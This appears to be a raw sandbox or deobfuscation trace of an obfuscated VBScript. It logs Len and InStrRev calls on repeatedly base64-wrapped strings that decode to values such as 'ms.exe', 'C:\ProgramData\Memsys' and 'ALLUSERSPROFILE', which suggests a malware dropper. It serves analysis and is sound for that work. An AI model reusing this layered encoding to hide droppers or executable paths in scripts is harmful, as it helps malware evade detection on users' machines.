Len("Vm0wd2VHUXhSWGhYV0doWVlteEtXRmxVU205V1ZteFZVMjA1VjFadGVIbFhhMUpUVmpKS1NHVkdiR0ZXVjFKSVdWZDRZV1JXUm5KalJuQm9ZWHBXZVZac1ZtRldNVnBXVFZWV2FHVnFRVGs9") -> 144 Len("Vm0weGQxRXhXWGhYYmxKWFlUSm9WVmxVU205V1ZteHlXa1JTVjJKSGVGbGFWV1JIWVd4YWRWRnJjRnBoYXpWeVZsVmFWMVpWTVVWaGVqQTk=") -> 108 Len("Vm0xd1ExWXhXblJXYTJoVVlUSm9WVmxyWkRSV2JHeFlaVWRHYWxadVFrcFphazVyVlVaV1ZVMUVhejA9") -> 80 Len("Vm1wQ1YxWnRWa2hUYTJoVVlrZDRWbGxYZUdGalZuQkpZak5rVUZWVU1Eaz0=") -> 60 Len("VmpCV1ZtVkhTa2hUYkd4VllXeGFjVnBJYjNkUFVUMDk=") -> 44 Len("VjBWVmVHSkhTbGxVYWxacVpIb3dPUT09") -> 32 Len("V0VVeGJHSllUalZqZHowOQ==") -> 24 Len("WEUxbGJYTjVjdz09") -> 16 Len("XE1lbXN5cw==") -> 12 Len("QzpcUHJvZ3JhbURhdGFcTWVtc3lz") -> 28 Len("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==") -> 344 Len("Vm0wd2QyUXlWa2hWV0doVVYwZDRWRll3WkZOVlJscHpXa2M1VjFac2JETlhhMk0xVmpBeFdHVkVRbUZXVmxsM1ZtcEJlRmRIVmtsaVJtaG9UVmhDVVZkV1pEUlpWMDE0V2toR1VtSkdXbGhaYTFaM1ZsWmtWMWRzV214U2JHdzBWMnRvVjJGR1NuUlZiRkpoVmpOU1lWcFhlR0ZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001") -> 256 Len("Vm0wd2QyVkhVWGhUV0d4VFYwZFNVRlpzWkc5V1ZsbDNXa2M1VjAxWGVEQmFWVll3VmpBeFdHVkliRmhoTVhCUVdWZDRZV014WkhGUmJGWlhZa1Z3VlZkV1dsWmxSbGw0V2toV2FGSnRVbFJhVjNSYVpXeGFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5") -> 192 Len("Vm0wd2VHUXhTWGxTV0dSUFZsZG9WVll3Wkc5V01XeDBaVVYwVjAxWGVIbFhhMXBQWVd4YWMxZHFRbFZXYkVwVVdWWlZlRll4WkhWaFJtUlRaV3RaZWxac1ZtRldNVnBXVFZWV2FHVnFRVGs9") -> 144 Len("Vm0weGQxSXlSWGRPVldoVVYwZG9WMWx0ZUV0V01XeHlXa1pPYWxac1dqQlVWbEpUWVZVeFYxZHVhRmRTZWtZelZsVmFWMVpWTVVWaGVqQTk=") -> 108 Len("Vm0xd1IyRXdOVWhUV0doV1lteEtWMWxyWkZOalZsWjBUVlJTYVUxV1duaFdSekYzVlVaV1ZVMUVhejA9") -> 80 Len("Vm1wR2EwNUhTWGhWYmxKV1lrZFNjVlZ0TVRSaU1WWnhWRzF3VUZWVU1Eaz0=") -> 60 Len("VmpGa05HSXhVblJWYkdScVVtMTRiMVZxVG1wUFVUMDk=") -> 44 Len("VjFkNGIxUnRVbGRqUm14b1VqTmpPUT09") -> 32 Len("V1d4b1RtUldjRmxoUjNjOQ==") -> 24 Len("WWxoTmRWcFlhR3c9") -> 16 Len("YlhNdVpYaGw=") -> 12 Len("bXMuZXhl") -> 8
InStrRev	InStrRev("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","==") -> 0 InStrRev("Vm0wd2VFNUdWWGhVYmxKWFlURndUMVpzWkc5V1ZteDBZM3BHVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTFKTVZsVmFWMVpWTVVWaGVqQTk=","==") -> 0 InStrRev("Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9","==") -> 0 InStrRev("Vm0xNFUxTnRWa1pOVldoVVltczFVMWxyVm5kVmJGcHlWV3RLVUZWVU1Eaz0=","==") -> 0 InStrRev("Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk=","==") -> 0 InStrRev("VmxSSmVFMUhTbk5SYkVwUlZrUkJPUT09","==") -> 0 InStrRev("VlRJeE1HSnNRbEpRVkRBOQ==","==") -> 23 InStrRev("VTIxMGJsQlJQVDA9","==") -> 0 InStrRev("U210blBRPT0=","==") -> 0 InStrRev("SmtnPQ==","==") -> 7 InStrRev("Jkg=","==") -> 0 InStrRev("Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ==","==") -> 823 InStrRev("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVlZ3VlZadGNFZFRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GZEZSTlZUVkpWbTEwVjFWdFNsWlhiR2hYWVd0YVRGVXhXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWaENSbFpYZUZOVWJVcEdZMFZ3VjJKVVJYZFpla3BIWXpGT2RWVnNXbWxoTUhCWVYxZDRiMVV3TUhoV1dHaFlZbGhTV0ZSV2FFTlRiR3QzV2tSU1ZrMXJjRmhWTW5oelZqRmFObEZZYUZkU1JWcDZWbXBHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ==","==") -> 615 InStrRev("Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOWFJsbDNXa2M1VjAxV2JETlhhMk0xVjBaS2MySkVUbGhoTVVwVVZtcEdTMlJIVmtkWGJGcE9ZV3RGZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYWtaTFUxWmFkR05GU214U2JWSkpWbTEwVjFWdFNsWlhiRkpYWWxob2VsUlVSbXRXTVhCRlZXeFNUbUpGY0VwV2JURXdZekpHYzFOdVVsWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWaENTbGt3WkRSVk1rcFhVMnhzVjFaNlFYaFdSRVp6VmpGT2RWUnRjRlJTVlhCWVYxZDRiMVV3TUhoVmJsSnNVakJhY1ZSV1pGTk5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=","==") -> 0 InStrRev("Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V01WbDNXa2M1V0ZKc2JETlhhMUpUVmpGS2RHVkdXbFpOYWtFeFZtcEtTMU5IVmtWUmJVWlhWakZLU1ZadGNFSmxSbVJJVm10V1VtSlZXbFJXYlhoelRURmtWMXBFVWxSTmJFcEpWbTEwYzJGc1NuUlZia0pXWWxoU00xVXhXbXRXTVhCSlkwZDRVMkpXU2xsV1Z6QXhWREZzVjFOdVRtcFRSVXBYV1d4b1UwMHhVblJsUjBacVRWZFNNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==","==") -> 343 InStrRev("Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","==") -> 0 InStrRev("Vm0wd2QyVkZOVWRXV0doV1YwZG9XRll3WkRSV1JteFZVMjA1VjJKSGVEQmFWV1JIVmpBeFdHVkVRbUZTVmxsM1dWZDRTMlJIVmtsalJtUnBVbXR3U1ZkV1pIcGxSbVJYVW01T1lWSnNjSEJWYlhSM1RteGFjMWR0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","==") -> 0 InStrRev("Vm0wd2VFNUdWWGhWV0doWFYwZDRWRmxVU205V2JHeDBaVWRHVjAxWGVEQmFSVll3WVd4S2RHVkljRmRpUmtwSVdWZHplRmRXUm5OYVJscHBVbXR3Tmxac1dtRldNVnBXVFZWV2FHVnFRVGs9","==") -> 0 InStrRev("Vm0weE5GVXhVWGhXV0d4VFlUSm9WbGx0ZUdGV01XeDBaRVYwYWxKdGVIcFdiRkpIWVdzeFdWRnNaRlppUmtwNlZsWmFWMVpWTVVWaGVqQTk=","==") -> 0 InStrRev("Vm0xNFUxUXhWWGxTYTJoVllteGFWMWx0ZEV0alJteHpWbFJHYWsxWVFsZFZiRkp6VlZaV1ZVMUVhejA9","==") -> 0 InStrRev("Vm14U1QxVXlSa2hVYmxaV1ltdEtjRmxzVlRGak1YQldVbFJzVVZWVU1Eaz0=","==") -> 0 InStrRev("VmxST1UyRkhUblZWYmtKcFlsVTFjMXBWUlRsUVVUMDk=","==") -> 0 InStrRev("VlROU2FHTnVVbkJpYlU1c1pVRTlQUT09","==") -> 0 InStrRev("VTNSaGNuUnBibU5sZUE9PQ==","==") -> 23 InStrRev("U3RhcnRpbmNleA==","==") -> 15 InStrRev("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0=","==") -> 0 InStrRev("Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0=","==") -> 0 InStrRev("Vm14YVlWWXdOVWRWYkdSWVlrZFNWbGxVUm5kV01XeHlWbFJHVm1KR2NGbFpNM0JYVlRBeFZrNVdaR0ZXVmxwaFZVWkZPVkJSUFQwPQ==","==") -> 103 InStrRev("VmxaYVYwNUdVbGRYYkdSVllURndWMWxyVlRGVmJGcFlZM3BXVTAxVk5WZGFWVlphVUZFOVBRPT0=","==") -> 0 InStrRev("VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ==","==") -> 55 InStrRev("VVZWNFRWWldUa1pWYkU1UlZXczVSMU5WZUVZPQ==","==") -> 39 InStrRev("UVV4TVZWTkZVbE5RVWs5R1NVeEY=","==") -> 0 InStrRev("QUxMVVNFUlNQUk9GSUxF","==") -> 0 InStrRev("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ==","==") -> 615 InStrRev("Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1JsbDNXa2M1V0Zac2JETlhhMk0xVjBaYWRHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYzJGV1NuUmhSemxWVm14YU0xWnNXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdZVEpHVjFOWVpGaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFpzVjFaNlFYaFZla3BIWXpGT2RWWnNTbWxXUjNob1ZtcENiMUV4WkVkalJtUllZbFZhY1ZSV1duZE5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=","==") -> 0 InStrRev("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WRll3Wkc5WFZsbDNXa2M1V0ZadGVEQmFWVll3VjBaS2RHVkdXbFpOYWtFeFZtcEdZV1JIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10c2FWSnRhRzlVVmxaM1ZsWmFkR05GZEZSTlZUVkpWbTEwYTJGV1NYZFhiR2hYWVd0YVRGVXhXbXRXTVhCRlZXeHdWMDFWY0ZsV1Z6QXhVekpHYzFOdVZsSmlWR3hoVmpCb1ExZEdjRmRYYlVacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==","==") -> 343 InStrRev("Vm0wd2QyUXlWa2hWV0doVFYwZG9XVll3Wkc5WFZteDBaVVYwV0ZKdGVGWlZNakExVmpGYWRHVkdXbFpOYWtFeFZtcEdZV1JIVmtsaVJtaG9UVlZ3VlZadGNFdFRNVTVJVm10a2FWSXdXbGhXYWtaTFUxWmtWMXBFVWxwV01VcFlWVzAxUzJGc1NuVlJiVGxhVjBoQ1dGcFdXbUZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","==") -> 0 InStrRev("Vm0wd2QyVkhVWGhTV0doWVYwZG9XVmx0ZUV0WFJteFZVMjA1VjFadGVGWlZNakExVmpGYWRHVkliRmhoTVVwVVZtcEtTMU5IVmtkaVIwWlhWakZLU1ZkV1pEUlpWMUpYVW01S2FsSnVRbTlaV0hCWFpWWmFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","==") -> 0 InStrRev("Vm0wd2VHUXhSWGhYV0doWVlteEtXRmxVU205V1ZteFZVMjA1VjFadGVIbFhhMUpUVmpKS1NHVkdiR0ZXVjFKSVdWZDRZV1JXUm5KalJuQm9ZWHBXZVZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","==") -> 0 InStrRev("Vm0weGQxRXhXWGhYYmxKWFlUSm9WVmxVU205V1ZteHlXa1JTVjJKSGVGbGFWV1JIWVd4YWRWRnJjRnBoYXpWeVZsVmFWMVpWTVVWaGVqQTk=","==") -> 0 InStrRev("Vm0xd1ExWXhXblJXYTJoVVlUSm9WVmxyWkRSV2JHeFlaVWRHYWxadVFrcFphazVyVlVaV1ZVMUVhejA9","==") -> 0 InStrRev("Vm1wQ1YxWnRWa2hUYTJoVVlrZDRWbGxYZUdGalZuQkpZak5rVUZWVU1Eaz0=","==") -> 0 InStrRev("VmpCV1ZtVkhTa2hUYkd4VllXeGFjVnBJYjNkUFVUMDk=","==") -> 0 InStrRev("VjBWVmVHSkhTbGxVYWxacVpIb3dPUT09","==") -> 0 InStrRev("V0VVeGJHSllUalZqZHowOQ==","==") -> 23 InStrRev("WEUxbGJYTjVjdz09","==") -> 0 InStrRev("XE1lbXN5cw==","==") -> 11 InStrRev("QzpcUHJvZ3JhbURhdGFcTWVtc3lz","==") -> 0 InStrRev("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==","==") -> 343 InStrRev("Vm0wd2QyUXlWa2hWV0doVVYwZDRWRll3WkZOVlJscHpXa2M1VjFac2JETlhhMk0xVmpBeFdHVkVRbUZXVmxsM1ZtcEJlRmRIVmtsaVJtaG9UVmhDVVZkV1pEUlpWMDE0V2toR1VtSkdXbGhaYTFaM1ZsWmtWMWRzV214U2JHdzBWMnRvVjJGR1NuUlZiRkpoVmpOU1lWcFhlR0ZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","==") -> 0 InStrRev("Vm0wd2QyVkhVWGhUV0d4VFYwZFNVRlpzWkc5V1ZsbDNXa2M1VjAxWGVEQmFWVll3VmpBeFdHVkliRmhoTVhCUVdWZDRZV014WkhGUmJGWlhZa1Z3VlZkV1dsWmxSbGw0V2toV2FGSnRVbFJhVjNSYVpXeGFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","==") -> 0 InStrRev("Vm0wd2VHUXhTWGxTV0dSUFZsZG9WVll3Wkc5V01XeDBaVVYwVjAxWGVIbFhhMXBQWVd4YWMxZHFRbFZXYkVwVVdWWlZlRll4WkhWaFJtUlRaV3RaZWxac1ZtRldNVnBXVFZWV2FHVnFRVGs9","==") -> 0 InStrRev("Vm0weGQxSXlSWGRPVldoVVYwZG9WMWx0ZUV0V01XeHlXa1pPYWxac1dqQlVWbEpUWVZVeFYxZHVhRmRTZWtZelZsVmFWMVpWTVVWaGVqQTk=","==") -> 0 InStrRev("Vm0xd1IyRXdOVWhUV0doV1lteEtWMWxyWkZOalZsWjBUVlJTYVUxV1duaFdSekYzVlVaV1ZVMUVhejA9","==") -> 0 InStrRev("Vm1wR2EwNUhTWGhWYmxKV1lrZFNjVlZ0TVRSaU1WWnhWRzF3VUZWVU1Eaz0=","==") -> 0 InStrRev("VmpGa05HSXhVblJWYkdScVVtMTRiMVZxVG1wUFVUMDk=","==") -> 0 InStrRev("VjFkNGIxUnRVbGRqUm14b1VqTmpPUT09","==") -> 0 InStrRev("V1d4b1RtUldjRmxoUjNjOQ==","==") -> 23 InStrRev("WWxoTmRWcFlhR3c9","==") -> 0 InStrRev("YlhNdVpYaGw=","==") -> 0 InStrRev("bXMuZXhl","==") -> 0 InStrRev("Vm0weGQxRXhXWGxTYmxKWFlUSm9XRmx0ZEhkak1WVjNWMnQwV0ZKdGVGbGFWVll3WVVaS2MyTkdhRmRXYldoeVZsVmFWMVpWTVVWaGVqQTk=","==") -> 0 InStrRev("Vm0xd1ExWXlSblJXYTJoWFltdHdjMVV3V2t0WFJteFlaVVYwYUZKc2NGaFdWbWhyVlVaV1ZVMUVhejA9","==") -> 0 InStrRev("Vm1wQ1YyRnRWa2hXYmtwc1UwWktXRmxYZUV0aFJscFhWVmhrVUZWVU1Eaz0=","==") -> 0 InStrRev("VmpCV2FtVkhWbkpsU0ZKWFlXeEthRlpXVVhkUFVUMDk=","==") -> 0 InStrRev("VjBWamVHVnJlSFJXYWxKaFZWUXdPUT09","==") -> 0 InStrRev("V0VjeGVreHRWalJhVVQwOQ==","==") -> 23 InStrRev("WEcxekxtVjRaUT09","==") -> 0 InStrRev("XG1zLmV4ZQ==","==") -> 11
InStrRev	InStrRev("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","=") -> 0 InStrRev("Vm0wd2VFNUdWWGhVYmxKWFlURndUMVpzWkc5V1ZteDBZM3BHVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTFKTVZsVmFWMVpWTVVWaGVqQTk=","=") -> 108 InStrRev("Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9","=") -> 0 InStrRev("Vm0xNFUxTnRWa1pOVldoVVltczFVMWxyVm5kVmJGcHlWV3RLVUZWVU1Eaz0=","=") -> 60 InStrRev("Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk=","=") -> 44 InStrRev("VmxSSmVFMUhTbk5SYkVwUlZrUkJPUT09","=") -> 0 InStrRev("VTIxMGJsQlJQVDA9","=") -> 0 InStrRev("U210blBRPT0=","=") -> 12 InStrRev("Jkg=","=") -> 4 InStrRev("Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOWFJsbDNXa2M1VjAxV2JETlhhMk0xVjBaS2MySkVUbGhoTVVwVVZtcEdTMlJIVmtkWGJGcE9ZV3RGZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYWtaTFUxWmFkR05GU214U2JWSkpWbTEwVjFWdFNsWlhiRkpYWWxob2VsUlVSbXRXTVhCRlZXeFNUbUpGY0VwV2JURXdZekpHYzFOdVVsWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWaENTbGt3WkRSVk1rcFhVMnhzVjFaNlFYaFdSRVp6VmpGT2RWUnRjRlJTVlhCWVYxZDRiMVV3TUhoVmJsSnNVakJhY1ZSV1pGTk5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=","=") -> 460 InStrRev("Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","=") -> 0 InStrRev("Vm0wd2QyVkZOVWRXV0doV1YwZG9XRll3WkRSV1JteFZVMjA1VjJKSGVEQmFWV1JIVmpBeFdHVkVRbUZTVmxsM1dWZDRTMlJIVmtsalJtUnBVbXR3U1ZkV1pIcGxSbVJYVW01T1lWSnNjSEJWYlhSM1RteGFjMWR0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","=") -> 0 InStrRev("Vm0wd2VFNUdWWGhWV0doWFYwZDRWRmxVU205V2JHeDBaVWRHVjAxWGVEQmFSVll3WVd4S2RHVkljRmRpUmtwSVdWZHplRmRXUm5OYVJscHBVbXR3Tmxac1dtRldNVnBXVFZWV2FHVnFRVGs9","=") -> 0 InStrRev("Vm0weE5GVXhVWGhXV0d4VFlUSm9WbGx0ZUdGV01XeDBaRVYwYWxKdGVIcFdiRkpIWVdzeFdWRnNaRlppUmtwNlZsWmFWMVpWTVVWaGVqQTk=","=") -> 108 InStrRev("Vm0xNFUxUXhWWGxTYTJoVllteGFWMWx0ZEV0alJteHpWbFJHYWsxWVFsZFZiRkp6VlZaV1ZVMUVhejA9","=") -> 0 InStrRev("Vm14U1QxVXlSa2hVYmxaV1ltdEtjRmxzVlRGak1YQldVbFJzVVZWVU1Eaz0=","=") -> 60 InStrRev("VmxST1UyRkhUblZWYmtKcFlsVTFjMXBWUlRsUVVUMDk=","=") -> 44 InStrRev("VlROU2FHTnVVbkJpYlU1c1pVRTlQUT09","=") -> 0 InStrRev("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0=","=") -> 188 InStrRev("Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0=","=") -> 140 InStrRev("VmxaYVYwNUdVbGRYYkdSVllURndWMWxyVlRGVmJGcFlZM3BXVTAxVk5WZGFWVlphVUZFOVBRPT0=","=") -> 76 InStrRev("UVV4TVZWTkZVbE5RVWs5R1NVeEY=","=") -> 28 InStrRev("QUxMVVNFUlNQUk9GSUxF","=") -> 0 InStrRev("Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1JsbDNXa2M1V0Zac2JETlhhMk0xVjBaYWRHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYzJGV1NuUmhSemxWVm14YU0xWnNXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdZVEpHVjFOWVpGaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFpzVjFaNlFYaFZla3BIWXpGT2RWWnNTbWxXUjNob1ZtcENiMUV4WkVkalJtUllZbFZhY1ZSV1duZE5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0=","=") -> 460 InStrRev("Vm0wd2QyUXlWa2hWV0doVFYwZG9XVll3Wkc5WFZteDBaVVYwV0ZKdGVGWlZNakExVmpGYWRHVkdXbFpOYWtFeFZtcEdZV1JIVmtsaVJtaG9UVlZ3VlZadGNFdFRNVTVJVm10a2FWSXdXbGhXYWtaTFUxWmtWMXBFVWxwV01VcFlWVzAxUzJGc1NuVlJiVGxhVjBoQ1dGcFdXbUZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001","=") -> 0 InStrRev("Vm0wd2QyVkhVWGhTV0doWVYwZG9XVmx0ZUV0WFJteFZVMjA1VjFadGVGWlZNakExVmpGYWRHVkliRmhoTVVwVVZtcEtTMU5IVmtkaVIwWlhWakZLU1ZkV1pEUlpWMUpYVW01S2FsSnVRbTlaV0hCWFpWWmFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5","=") -> 0 InStrRev("Vm0wd2VHUXhSWGhYV0doWVlteEtXRmxVU205V1ZteFZVMjA1VjFadGVIbFhhMUpUVmpKS1NHVkdiR0ZXVjFKSVdWZDRZV1JXUm5KalJuQm9ZWHBXZVZac1ZtRldNVnBXVFZWV2FHVnFRVGs9","=") -> 0 